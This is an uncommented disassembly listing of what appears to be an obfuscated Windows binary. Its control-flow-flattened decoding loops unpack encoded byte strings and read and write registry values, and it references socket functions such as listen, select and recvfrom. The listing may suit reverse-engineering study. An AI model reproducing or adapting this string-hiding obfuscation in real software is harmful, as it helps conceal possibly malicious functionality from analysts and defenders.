movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
sub r10b, 0x6c
inc rdi
jmp 0x1400d8103
inc rax
cmp r8, rax
jne 0x1400d8759
add r11b, 0x66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400d88ff
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d8779
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x42
jmp 0x1400d87d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8541
add r11b, 0x60
mov ecx, Ordinal_50
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d8103
mov byte [rsp + rdi + 0x40], r10b
inc rdi
jmp 0x1400d8103
lea edx, [r11 + 0x28]
movzx ecx, bl
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx*2 - 0x18]
add r10b, dl
sub r11b, 0x3f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x47
add r11b, bl
add r11b, r10b
mov byte [rsp + rdi + 0x40], r11b
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d8103
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x76]
jmp 0x1400d88d8
add r11b, 0x4f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
sub r10b, 0x29
inc rdi
jmp 0x1400d8103
add r11b, 0x23
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0xb
inc rdi
jmp 0x1400d8103
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x39
jmp 0x1400d889a
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7d
sub r11b, 0x71
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
add r11b, 0x17
add r11b, bl
mov byte [rsp + rdi + 0x40], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400d8103
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x49
sub r11b, 0xd
inc r9
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
add r11b, 0x5b
add r11b, bl
movzx eax, r11b
mov byte [rsp + rdi + 0x40], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x74]
inc r8
movzx eax, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rsp + rdi + 0x40], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d8103
sub r11b, 0x35
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x73
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d8103
add r11b, 0x7d
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x6b
jmp 0x1400d8100
add r11b, 0x4b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0xd
jmp 0x1400d80f0
lea r8, [rbp + 0x173760c]
jmp 0x1400d89b4
lea r8, [rbp + 0x43c2a5]
jmp 0x1400d89b4
lea r8, [rsp + 0x40]
mov rcx, qword [rbp + 0x260]
lea rax, [rbp + 0x250]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x258]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9d, [rdx + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400dac90
cmp dword [rbp + 0x258], 1
jne 0x1400dac90
movzx edx, byte [rbp + 0x250]
xor eax, eax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov word [rsp + 0x74], ax
mov byte [rsp + 0x76], al
mov dword [rbp + 0x258], r14d
mov dword [rsp + 0x60], 0xd9dbc721
mov dword [rsp + 0x64], 0x7fd8dac6
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rbx, r14
cmp rbx, 0x17
jae 0x1400d94cc
movzx r10d, byte [rsp + rbx + 0x60]
movzx r11d, bl
cmp r8, rbx
ja 0x1400d94c3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d8a7f
lea edx, [r11 - 0x31]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x57
add dl, r10b
jmp 0x1400d8ac0
je 0x1400d9458
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d93df
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d938e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d936c
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d932c
nop dword [rax]
cmp r9, rbx
ja 0x1400d94ba
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400d8aee
lea ecx, [r11 - 5]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
add dl, 0x23
add dl, cl
jmp 0x1400d8b10
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d9315
inc rax
cmp r8, rax
je 0x1400d92f9
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d905d
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d9042
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d9019
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d8ff7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d8fdc
lea rcx, [r9 + 0x28]
cmp r8, rcx
je 0x1400d8fbc
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d8fa0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d8f85
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d8f65
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d8f3b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d8b20
lea r9, [rcx + 0x5a]
mov r8, rcx
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400d949e
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400d9482
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400d8d0c
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400d8cf0
lea rcx, [r9 + 0x2a]
cmp r8, rcx
jb 0x1400d8cd4
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d8eef
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d8eaa
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d8e6d
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d8e4a
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d8b20
lea r9, [rcx + 0x28]
mov r8, rcx
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400d8e20
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400d8e00
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400d8de5
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400d8dc9
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x1400d8da9
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d8d8e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d8d6c
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d8d43
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d8d28
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d8b20
mov r8, rcx
lea r9, [rcx + 0x2a]
jmp 0x1400d8b20
lea ecx, [r11 + 0x65]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
add dl, 0x3d
add dl, cl
jmp 0x1400d8b10
lea ecx, [r11 - 0x39]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x71
add dl, cl
jmp 0x1400d8ac0
lea ecx, [r11 + 0x29]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x1f
add dl, cl
jmp 0x1400d8a57
lea ecx, [r11 - 0x28]
movzx eax, r10b
and al, cl
mov edx, ntohl
sub dl, al
add dl, dl
add dl, r10b
jmp 0x1400d9341
add r11b, 0x3a
mov ecx, gethostname
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d8a43
sub r11b, 0x64
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
inc rbx
jmp 0x1400d8a43
lea edx, [r11 - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d93a3
add r11b, 0x60
mov ecx, Ordinal_50
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400d93c4
sub r11b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4e
jmp 0x1400d93c7
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d93f4
sub r11b, 0x7a
mov ecx, Ordinal_45
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400d941e
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x58
inc rbx
jmp 0x1400d8a43
sub r11b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xb
mov byte [rsp + rbx + 0x60], dl
inc rbx
jmp 0x1400d8a43
lea edx, [r11 + 0x3f]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x47
add dl, cl
cmp r9, 0xa
jb 0x1400d8e61
lea edx, [r11 + 0x7a]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400d9343
lea edx, [r11 - 0x5f]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x67
add dl, cl
cmp r8, 0x61
jae 0x1400d92c7
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400d91ff
lea edx, [r11 + 0x4e]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x22
jmp 0x1400d8e82
lea edx, [r11 + 3]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x15
sub cl, al
add dl, cl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400d92e1
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400d9133
lea edx, [r11 + 0x53]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x45
jmp 0x1400d8ebf
sub r11b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x2e
inc rbx
jmp 0x1400d8a43
add r11b, 0x44
mov ecx, reloc.WS2_32.dll_select
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400d941e
lea edx, [r11 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d93f4
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400d93c7
add r11b, 0x6a
mov ecx, reloc.WS2_32.dll_listen
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400d93c4
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d93a3
add r11b, 0x2e
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x42
inc rbx
jmp 0x1400d8a43
sub r11b, 0x70
mov ecx, 8
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d8a43
lea edx, [r11 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400d9341
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400d9083
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x57
jmp 0x1400d8f06
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d90ba
sub r11b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d8a43
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d90dd
lea edx, [r11 + 0x32]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x5e
jmp 0x1400d93f4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9100
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x54
jmp 0x1400d93a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d8f06
sub r11b, 0x56
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, r10b
dec rbx
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400d8a43
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9156
lea edx, [r11 - 0xf]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x69
jmp 0x1400d9341
inc rax
cmp r8, rax
jne 0x1400d9180
add r11b, 0x2d
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3b
inc rbx
jmp 0x1400d8a43
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d91a3
lea edx, [r11 - 0x35]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x73
jmp 0x1400d93a3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d91c8
add r11b, 0x69
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x21
jmp 0x1400d93c4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d8ec1
sub r11b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x27
inc rbx
jmp 0x1400d8a43
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9232
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x74
inc rbx
jmp 0x1400d8a43
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9255
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x18
jmp 0x1400d93f4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d9278
lea edx, [r11 + 2]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0xe
jmp 0x1400d93a3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d92a3
sub r11b, 0x60
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc rbx
jmp 0x1400d8a43
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d8e84
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 4
jmp 0x1400d9341
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x2c
add cl, cl
jmp 0x1400d93a3
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
jmp 0x1400d93f4
add r11b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x77
jmp 0x1400d93c4
lea edx, [r11 - 0x67]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x2f
jmp 0x1400d9341
lea edx, [r11 + 0x5d]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x75
add dl, cl
add r11b, 0x49
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
inc r11b
add r11b, r10b
mov byte [rsp + rbx + 0x60], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d8a43
add r11b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x19
dec rbx
inc rbx
jmp 0x1400d8a43
lea edx, [r11 - 0x7d]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x6b
add dl, cl
sub r11b, 0x19
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x51
add r11b, dl
add r11b, r10b
mov byte [rsp + rbx + 0x60], r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d8a43
lea edx, [r11 - 0x57]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x61
add dl, cl
sub r11b, 0x7b
inc r9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x5d
add r11b, r10b
movzx eax, r11b
mov byte [rsp + rbx + 0x60], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x54]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x4c
add cl, r10b
mov byte [rsp + rbx + 0x60], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8a43
add r11b, 0x6d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 5
movzx eax, byte [rsp + rbx + 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d8a43
sub r11b, 0x75
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x33
jmp 0x1400d8a40
sub r11b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7b
jmp 0x1400d8a30
lea rdx, [rbp + 0x17a1274]
jmp 0x1400d94d1
lea rdx, [rbp + 0xa23943]
jmp 0x1400d94d1
lea rdx, [rsp + 0x60]
mov rcx, qword [rbp + 0x260]
lea rax, [rbp + 0x258]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400dac90
movzx r10d, byte [rbp + 0x250]
xor eax, eax
mov byte [rbp + 0x182], al
mov dword [rbp + 0x100], 0xf6e4fe93
mov dword [rbp + 0x104], 0xf4e99048
mov dword [rbp + 0x108], 0xfaee84f0
mov dword [rbp + 0x10c], 0x943ef3f3
mov dword [rbp + 0x110], 0x863a92fd
mov dword [rbp + 0x114], 0x8388f88a
mov dword [rbp + 0x118], 0xf2328989
mov dword [rbp + 0x11c], 0x972e8d82
mov dword [rbp + 0x120], 0x952a82ed
mov dword [rbp + 0x124], 0x27949495
mov dword [rbp + 0x128], 0xe28d9c98
mov dword [rbp + 0x12c], 0xa3a3959e
mov dword [rbp + 0x130], 0xa8d31dee
mov dword [rbp + 0x134], 0xaaa419b5
mov dword [rbp + 0x138], 0xbf12a9a9
mov dword [rbp + 0x13c], 0xb2a011a3
mov dword [rbp + 0x140], 0xa5cba1a3
mov dword [rbp + 0x144], 0xb4af09a4
mov dword [rbp + 0x148], 0xd302aba9
mov dword [rbp + 0x14c], 0x4c4401df
mov dword [rbp + 0x150], 0x4628fd52
mov dword [rbp + 0x154], 0xf758545e
mov dword [rbp + 0x158], 0x58f24658
mov dword [rbp + 0x15c], 0x1d595f43
mov dword [rbp + 0x160], 0x56443dec
mov dword [rbp + 0x164], 0x3ae64647
mov dword [rbp + 0x168], 0x4d5f4956
mov dword [rbp + 0x16c], 0xdf6d4de0
mov dword [rbp + 0x170], 0x77756072
mov dword [rbp + 0x174], 0xd77a7719
mov dword [rbp + 0x178], 0xd36f6d78
mov word [rbp + 0x17c], 0xe00
mov dword [rbp + 0x17e], 0xef3c
nop dword [rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rdi, r14
cmp rdi, 0x83
jae 0x1400da0a2
movzx ebx, byte [rbp + rdi + 0x100]
movzx r11d, dil
nop dword [rax]
cmp r8, rdi
ja 0x1400da099
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d96bf
lea ecx, [r11 - 0x4e]
mov r10d, reloc.WS2_32.dll_recvfrom
movzx eax, cl
and al, bl
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, bl
jmp 0x1400d96f0
je 0x1400da024
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d9fed
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9fb8
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d9f96
nop dword [rax]
cmp r9, rdi
ja 0x1400da090
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400d9719
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x36
jmp 0x1400d9760
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400d9f53
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9f31
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d9f17
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d9e95
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9e87
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d9b85
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d9b6b
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d9b46
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d9b20
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d9b01
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d9ae5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d9ac9
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d9aaa
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400da070
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400da055
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d98e7
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d98c8
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d98a9
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d9a5b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d99ea
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d99b9
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d9999
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d997b
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d9960
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d9940
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d9922
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d9901
lea r8, [r9 + 2]
lea r9, [r8 + 6]
jmp 0x1400d9770
lea edx, [r11 - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d9760
lea edx, [r11 + 0x42]
mov ecx, Ordinal_26
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d96f0
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x12
jmp 0x1400d9690
add r11b, 8
movzx eax, bl
and al, r11b
dec rdi
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x38
inc rdi
jmp 0x1400d9673
lea edx, [r11 - 0x5c]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x7c
add r10b, dl
jmp 0x1400d9fcd
add r11b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400da008
sub r11b, 0x24
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 4
jmp 0x1400da00b
lea edx, [r11 + 0x78]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dl
jmp 0x1400d9eaa
add r11b, 0x14
mov ecx, Ordinal_60
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400d9ed5
sub r11b, 0x50
movzx eax, bl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d9673
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 2
cmp r8, 0x61
jae 0x1400d9e50
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400d9d5d
lea edx, [r11 + 4]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x1c
add r10b, dl
cmp r9, 0x40
jb 0x1400d9e40
lea edx, [r11 - 0x14]
mov ecx, 6
movzx eax, bl
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400d9f6d
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x46
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400d9e6e
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400d9c83
lea edx, [r11 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d99ff
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d9eaa
add r11b, 0x70
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x10
jmp 0x1400da00b
add r11b, 0xc
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x54
jmp 0x1400da008
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d9fcd
add r11b, 0x44
mov ecx, reloc.WS2_32.dll_select
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d9673
sub r11b, 0x20
inc r9
movzx eax, r11b
dec rdi
and al, bl
add al, al
sub r11b, al
